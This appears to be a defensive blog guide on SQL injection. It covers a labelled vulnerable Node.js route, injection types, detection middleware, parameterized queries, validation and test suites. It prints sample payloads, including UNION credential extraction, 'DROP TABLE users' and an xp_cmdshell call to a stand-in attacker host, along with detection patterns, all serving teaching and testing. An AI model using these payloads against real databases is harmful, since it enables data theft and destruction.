Skip to main content

SQL Injection: Detection and Prevention

Ryan Dahlberg
Ryan Dahlberg
October 25, 2025 12 min read
Share:
SQL Injection: Detection and Prevention

Introduction

SQL Injection remains one of the most dangerous and prevalent web application vulnerabilities, consistently ranking in the OWASP Top 10. Despite being well-known for decades, SQL injection attacks continue to compromise databases and expose sensitive data.

This comprehensive guide explores SQL injection attacks in depth, covering detection techniques, prevention strategies, secure coding practices, and testing methodologies to protect your applications from this critical vulnerability.

Understanding SQL Injection

How SQL Injection Works

SQL injection occurs when untrusted data is concatenated into SQL queries:

// VULNERABLE: String concatenation
app.get('/users', async (req, res) => {
  const email = req.query.email;
  const query = `SELECT * FROM users WHERE email = '${email}'`;
  const users = await db.query(query);
  res.json(users);
});

// Attack: /users?email=' OR '1'='1
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns all users!

Types of SQL Injection

const SQLInjectionTypes = {
  classic: {
    description: 'Direct manipulation of SQL query results',
    example: "admin' --",
    impact: 'Bypass authentication, retrieve data'
  },

  union: {
    description: 'Combine results from multiple queries',
    example: "' UNION SELECT username, password FROM admin_users --",
    impact: 'Extract data from other tables'
  },

  boolean: {
    description: 'Infer data through true/false responses',
    example: "' AND 1=1 --",
    impact: 'Extract data byte by byte'
  },

  time: {
    description: 'Use time delays to infer data',
    example: "'; WAITFOR DELAY '00:00:05' --",
    impact: 'Blind data extraction'
  },

  outOfBand: {
    description: 'Exfiltrate data via alternative channels',
    example: "'; EXEC xp_cmdshell('ping attacker.com') --",
    impact: 'Remote code execution, data exfiltration'
  }
};

Detection Techniques

Input Pattern Recognition

const SQLInjectionDetector = {
  // Common SQL injection patterns
  patterns: [
    /(\b(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC|EXECUTE)\b)/i,
    /(--|\#|\/\*|\*\/)/,
    /(\b(OR|AND)\b.*=.*)/i,
    /('|\"|;|\\x27|\\x22)/,
    /(\bxp_\w+)/i,  // SQL Server extended procedures
    /(\bUTL_HTTP\b)/i,  // Oracle HTTP package
    /(\bLOAD_FILE\b)/i,  // MySQL file operations
  ],

  detect(input) {
    if (!input || typeof input !== 'string') {
      return { suspicious: false };
    }

    const matches = [];

    for (const pattern of this.patterns) {
      if (pattern.test(input)) {
        matches.push({
          pattern: pattern.source,
          matched: input.match(pattern)[0]
        });
      }
    }

    return {
      suspicious: matches.length > 0,
      matches,
      severity: matches.length > 2 ? 'high' : 'medium'
    };
  }
};

// Detection middleware
function detectSQLInjection(req, res, next) {
  const inputs = {
    ...req.query,
    ...req.body,
    ...req.params
  };

  for (const [key, value] of Object.entries(inputs)) {
    const result = SQLInjectionDetector.detect(value);

    if (result.suspicious) {
      logger.warn('SQL Injection attempt detected', {
        key,
        value,
        matches: result.matches,
        ip: req.ip,
        userAgent: req.get('user-agent')
      });

      return res.status(400).json({
        error: 'Invalid input detected'
      });
    }
  }

  next();
}

app.use(detectSQLInjection);

Log Analysis

class SQLInjectionLogAnalyzer {
  async analyzeAccessLogs(logs) {
    const suspiciousRequests = [];

    for (const log of logs) {
      const url = new URL(log.request.url, 'http://example.com');
      const params = Object.fromEntries(url.searchParams);

      // Check for SQL injection patterns
      for (const [key, value] of Object.entries(params)) {
        const detection = SQLInjectionDetector.detect(value);

        if (detection.suspicious) {
          suspiciousRequests.push({
            timestamp: log.timestamp,
            ip: log.ip,
            url: log.request.url,
            parameter: key,
            value,
            matches: detection.matches,
            severity: detection.severity
          });
        }
      }
    }

    // Group by IP for pattern analysis
    const byIP = suspiciousRequests.reduce((acc, req) => {
      if (!acc[req.ip]) acc[req.ip] = [];
      acc[req.ip].push(req);
      return acc;
    }, {});

    // Identify repeated attackers
    const attackers = Object.entries(byIP)
      .filter(([ip, requests]) => requests.length > 5)
      .map(([ip, requests]) => ({
        ip,
        attempts: requests.length,
        firstSeen: requests[0].timestamp,
        lastSeen: requests[requests.length - 1].timestamp
      }));

    return {
      suspiciousRequests,
      attackers,
      totalAttempts: suspiciousRequests.length
    };
  }

  async blockAttackers(attackers) {
    for (const attacker of attackers) {
      await Firewall.blockIP(attacker.ip, {
        reason: 'SQL Injection attempts',
        attempts: attacker.attempts,
        duration: 86400 // 24 hours
      });

      logger.info('Blocked IP for SQL injection attempts', attacker);
    }
  }
}

Prevention: Parameterized Queries

Node.js with PostgreSQL

const { Pool } = require('pg');
const pool = new Pool({
  host: process.env.DB_HOST,
  database: process.env.DB_NAME,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD
});

class UserRepository {
  // SECURE: Parameterized query
  async findByEmail(email) {
    const query = {
      text: 'SELECT id, email, name FROM users WHERE email = $1',
      values: [email]
    };

    const result = await pool.query(query);
    return result.rows[0];
  }

  // SECURE: Multiple parameters
  async search(filters) {
    const { email, status, createdAfter } = filters;

    const query = {
      text: `
        SELECT id, email, name, status, created_at
        FROM users
        WHERE email LIKE $1
          AND status = $2
          AND created_at > $3
        ORDER BY created_at DESC
        LIMIT 100
      `,
      values: [`%${email}%`, status, createdAfter]
    };

    const result = await pool.query(query);
    return result.rows;
  }

  // SECURE: Dynamic WHERE clause with parameters
  async findByFilters(filters) {
    const conditions = [];
    const values = [];
    let paramCounter = 1;

    if (filters.email) {
      conditions.push(`email = $${paramCounter++}`);
      values.push(filters.email);
    }

    if (filters.status) {
      conditions.push(`status = $${paramCounter++}`);
      values.push(filters.status);
    }

    if (filters.role) {
      conditions.push(`role = $${paramCounter++}`);
      values.push(filters.role);
    }

    const whereClause = conditions.length > 0
      ? `WHERE ${conditions.join(' AND ')}`
      : '';

    const query = {
      text: `SELECT * FROM users ${whereClause}`,
      values
    };

    const result = await pool.query(query);
    return result.rows;
  }
}

Node.js with MySQL

const mysql = require('mysql2/promise');

const pool = mysql.createPool({
  host: process.env.DB_HOST,
  database: process.env.DB_NAME,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

class ProductRepository {
  // SECURE: Prepared statement
  async findById(id) {
    const [rows] = await pool.execute(
      'SELECT * FROM products WHERE id = ?',
      [id]
    );
    return rows[0];
  }

  // SECURE: Multiple parameters
  async search(criteria) {
    const [rows] = await pool.execute(
      `SELECT * FROM products
       WHERE category = ?
         AND price BETWEEN ? AND ?
         AND in_stock = ?
       ORDER BY created_at DESC
       LIMIT ?`,
      [
        criteria.category,
        criteria.minPrice,
        criteria.maxPrice,
        criteria.inStock,
        criteria.limit || 50
      ]
    );
    return rows;
  }

  // SECURE: Batch insert
  async createMany(products) {
    const values = products.map(p => [p.name, p.category, p.price, p.stock]);

    const [result] = await pool.query(
      'INSERT INTO products (name, category, price, stock) VALUES ?',
      [values]
    );

    return result.affectedRows;
  }
}

ORM Usage

const { Sequelize, DataTypes } = require('sequelize');

const sequelize = new Sequelize(
  process.env.DB_NAME,
  process.env.DB_USER,
  process.env.DB_PASSWORD,
  {
    host: process.env.DB_HOST,
    dialect: 'postgres',
    logging: false
  }
);

// Define model
const User = sequelize.define('User', {
  email: {
    type: DataTypes.STRING,
    allowNull: false,
    unique: true,
    validate: {
      isEmail: true
    }
  },
  name: {
    type: DataTypes.STRING,
    allowNull: false
  },
  status: {
    type: DataTypes.ENUM('active', 'inactive', 'suspended'),
    defaultValue: 'active'
  }
});

// SECURE: ORM methods automatically use parameterized queries
class UserService {
  async findByEmail(email) {
    return await User.findOne({
      where: { email },
      attributes: ['id', 'email', 'name', 'status']
    });
  }

  async search(filters) {
    const where = {};

    if (filters.email) {
      where.email = { [Sequelize.Op.like]: `%${filters.email}%` };
    }

    if (filters.status) {
      where.status = filters.status;
    }

    if (filters.createdAfter) {
      where.createdAt = { [Sequelize.Op.gt]: filters.createdAfter };
    }

    return await User.findAll({
      where,
      order: [['createdAt', 'DESC']],
      limit: 100
    });
  }

  async updateStatus(userId, status) {
    const [affectedRows] = await User.update(
      { status },
      { where: { id: userId } }
    );

    return affectedRows > 0;
  }
}

Input Validation and Sanitization

Comprehensive Validation

const Joi = require('joi');

class InputValidator {
  // Schema definitions
  static schemas = {
    user: Joi.object({
      email: Joi.string().email().required(),
      name: Joi.string().min(2).max(100).required(),
      age: Joi.number().integer().min(18).max(120).optional(),
      role: Joi.string().valid('user', 'admin', 'moderator').default('user')
    }),

    search: Joi.object({
      query: Joi.string().max(200).required(),
      category: Joi.string().alphanum().max(50).optional(),
      page: Joi.number().integer().min(1).default(1),
      limit: Joi.number().integer().min(1).max(100).default(20)
    }),

    id: Joi.alternatives().try(
      Joi.number().integer().positive(),
      Joi.string().uuid()
    )
  };

  static validate(schema, data) {
    const { error, value } = schema.validate(data, {
      abortEarly: false,
      stripUnknown: true
    });

    if (error) {
      throw new ValidationError(
        error.details.map(d => d.message).join(', ')
      );
    }

    return value;
  }

  // Whitelist validation for dynamic ORDER BY
  static validateOrderBy(field, allowedFields) {
    const normalizedField = field.toLowerCase();

    if (!allowedFields.includes(normalizedField)) {
      throw new ValidationError(`Invalid sort field: ${field}`);
    }

    return normalizedField;
  }

  // Validate table/column names (when absolutely necessary)
  static validateIdentifier(identifier) {
    // Only allow alphanumeric and underscore
    if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(identifier)) {
      throw new ValidationError('Invalid identifier');
    }

    // Check against whitelist of known tables/columns
    const allowedIdentifiers = [
      'users', 'products', 'orders',
      'id', 'name', 'email', 'created_at'
    ];

    if (!allowedIdentifiers.includes(identifier.toLowerCase())) {
      throw new ValidationError(`Identifier not allowed: ${identifier}`);
    }

    return identifier;
  }
}

// Usage in routes
app.get('/api/users/search', async (req, res) => {
  try {
    // Validate input
    const validated = InputValidator.validate(
      InputValidator.schemas.search,
      req.query
    );

    // Safe to use validated data
    const users = await UserService.search(validated);

    res.json(users);
  } catch (error) {
    if (error instanceof ValidationError) {
      res.status(400).json({ error: error.message });
    } else {
      res.status(500).json({ error: 'Internal server error' });
    }
  }
});

app.get('/api/users', async (req, res) => {
  try {
    const { sortBy, order } = req.query;

    // Validate sort field against whitelist
    const validatedSortBy = InputValidator.validateOrderBy(
      sortBy || 'created_at',
      ['created_at', 'email', 'name', 'status']
    );

    const validatedOrder = order === 'desc' ? 'DESC' : 'ASC';

    const users = await User.findAll({
      order: [[validatedSortBy, validatedOrder]]
    });

    res.json(users);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

Stored Procedures

Using Stored Procedures for Security

-- Create stored procedure
CREATE OR REPLACE FUNCTION get_user_by_email(user_email VARCHAR)
RETURNS TABLE(id INT, email VARCHAR, name VARCHAR, status VARCHAR) AS $$
BEGIN
  RETURN QUERY
  SELECT u.id, u.email, u.name, u.status
  FROM users u
  WHERE u.email = user_email;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

-- Create procedure with input validation
CREATE OR REPLACE FUNCTION create_user(
  p_email VARCHAR,
  p_name VARCHAR,
  p_password_hash VARCHAR
)
RETURNS INT AS $$
DECLARE
  new_user_id INT;
BEGIN
  -- Validation
  IF p_email !~ '^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}$' THEN
    RAISE EXCEPTION 'Invalid email format';
  END IF;

  IF LENGTH(p_name) < 2 OR LENGTH(p_name) > 100 THEN
    RAISE EXCEPTION 'Name must be between 2 and 100 characters';
  END IF;

  -- Insert
  INSERT INTO users (email, name, password_hash, created_at)
  VALUES (p_email, p_name, p_password_hash, NOW())
  RETURNING id INTO new_user_id;

  RETURN new_user_id;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
// Call stored procedures from Node.js
class SecureUserRepository {
  async findByEmail(email) {
    const result = await pool.query(
      'SELECT * FROM get_user_by_email($1)',
      [email]
    );
    return result.rows[0];
  }

  async create(userData) {
    const passwordHash = await bcrypt.hash(userData.password, 12);

    const result = await pool.query(
      'SELECT create_user($1, $2, $3) as user_id',
      [userData.email, userData.name, passwordHash]
    );

    return result.rows[0].user_id;
  }

  async search(filters) {
    const result = await pool.query(
      'SELECT * FROM search_users($1, $2, $3)',
      [filters.email, filters.status, filters.limit]
    );
    return result.rows;
  }
}

Security Testing

Automated SQL Injection Testing

const request = require('supertest');

describe('SQL Injection Security Tests', () => {
  const injectionPayloads = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    "admin' --",
    "' UNION SELECT NULL--",
    "' UNION SELECT username, password FROM users--",
    "'; DROP TABLE users--",
    "1' AND 1=1--",
    "1' AND 1=2--",
    "' AND SLEEP(5)--",
    "' WAITFOR DELAY '00:00:05'--",
    "1'; EXEC xp_cmdshell('dir')--",
    "' OR 1=1#",
    "' OR '1'='1' ({",
    "' OR '1'='1' /*"
  ];

  describe('Login Endpoint', () => {
    injectionPayloads.forEach(payload => {
      it(`should reject SQL injection: ${payload}`, async () => {
        const response = await request(app)
          .post('/login')
          .send({
            email: payload,
            password: 'password'
          });

        expect(response.status).toBeGreaterThanOrEqual(400);
        expect(response.body.error).toBeDefined();
      });
    });
  });

  describe('Search Endpoint', () => {
    it('should handle SQL injection in query parameter', async () => {
      const response = await request(app)
        .get('/api/users')
        .query({ email: "' OR '1'='1" });

      expect(response.status).toBe(400);
    });

    it('should handle union-based injection', async () => {
      const response = await request(app)
        .get('/api/products')
        .query({
          category: "' UNION SELECT username, password FROM admin_users--"
        });

      expect(response.status).toBe(400);
    });
  });

  describe('ID Parameter', () => {
    it('should reject SQL injection in ID parameter', async () => {
      const response = await request(app)
        .get('/api/users/1 OR 1=1')
        .set('Authorization', `Bearer ${token}`);

      expect(response.status).toBe(400);
    });
  });
});

Manual Testing Checklist

const SQLInjectionTestCases = [
  {
    name: 'Classic SQL Injection',
    payloads: [
      "' OR '1'='1",
      "admin' --",
      "' OR 1=1--"
    ],
    expectedBehavior: 'Reject with 400 error'
  },
  {
    name: 'Union-based Injection',
    payloads: [
      "' UNION SELECT NULL--",
      "' UNION SELECT username, password FROM users--"
    ],
    expectedBehavior: 'Reject with 400 error'
  },
  {
    name: 'Boolean-based Blind',
    payloads: [
      "' AND 1=1--",
      "' AND 1=2--"
    ],
    expectedBehavior: 'Both should return same result'
  },
  {
    name: 'Time-based Blind',
    payloads: [
      "' AND SLEEP(5)--",
      "' WAITFOR DELAY '00:00:05'--"
    ],
    expectedBehavior: 'Should not cause delay'
  },
  {
    name: 'Stacked Queries',
    payloads: [
      "'; DROP TABLE users--",
      "'; DELETE FROM users WHERE '1'='1--"
    ],
    expectedBehavior: 'Reject with 400 error, no DB changes'
  }
];

Database Security Best Practices

Least Privilege Principle

-- Create read-only user for application
CREATE USER app_readonly WITH PASSWORD 'strong_password';

-- Grant only SELECT on specific tables
GRANT SELECT ON users TO app_readonly;
GRANT SELECT ON products TO app_readonly;
GRANT SELECT ON orders TO app_readonly;

-- Create write user with limited permissions
CREATE USER app_writer WITH PASSWORD 'strong_password';

GRANT SELECT, INSERT, UPDATE ON users TO app_writer;
GRANT SELECT, INSERT, UPDATE ON products TO app_writer;
GRANT SELECT, INSERT, UPDATE ON orders TO app_writer;

-- Revoke dangerous permissions
REVOKE CREATE, DROP, ALTER ON ALL TABLES FROM app_writer;

-- Use different users for different operations
const readPool = new Pool({
  user: 'app_readonly',
  // ... other config
});

const writePool = new Pool({
  user: 'app_writer',
  // ... other config
});

Database Monitoring

class DatabaseMonitor {
  async detectAnomalies() {
    // Monitor query patterns
    const slowQueries = await this.getSlowQueries();
    const unusualPatterns = await this.detectUnusualPatterns();

    // Alert on suspicious activity
    for (const query of slowQueries) {
      if (this.isSuspicious(query)) {
        await this.alertSecurityTeam({
          type: 'suspicious_query',
          query: query.sql,
          duration: query.duration,
          user: query.user
        });
      }
    }
  }

  isSuspicious(query) {
    const suspiciousPatterns = [
      /UNION.*SELECT/i,
      /DROP\s+TABLE/i,
      /DELETE.*WHERE.*1.*=.*1/i,
      /EXEC.*xp_/i,
      /SLEEP\(/i,
      /WAITFOR\s+DELAY/i
    ];

    return suspiciousPatterns.some(pattern =>
      pattern.test(query.sql)
    );
  }

  async getSlowQueries() {
    // PostgreSQL example
    const result = await pool.query(`
      SELECT query, total_time, calls, mean_time
      FROM pg_stat_statements
      WHERE mean_time > 1000
      ORDER BY mean_time DESC
      LIMIT 100
    `);

    return result.rows;
  }
}

Conclusion

SQL Injection remains a critical vulnerability that can have devastating consequences for applications and their users. By implementing the prevention strategies outlined in this guide, you can effectively eliminate SQL injection risks from your applications.

Key takeaways:

  • Always use parameterized queries or prepared statements
  • Never concatenate user input into SQL queries
  • Implement comprehensive input validation
  • Use ORMs correctly to leverage built-in protections
  • Apply the principle of least privilege for database users
  • Monitor and log database access patterns
  • Regularly test for SQL injection vulnerabilities
  • Use stored procedures for complex operations
  • Validate dynamic SQL elements against whitelists
  • Keep database systems and drivers updated

Remember that preventing SQL injection is not a one-time task but requires ongoing vigilance, code reviews, and security testing. By making parameterized queries the default in your codebase and implementing defense in depth, you can build applications that are resilient against SQL injection attacks.

#Vulnerabilities #SQL Injection #Database Security #Web Security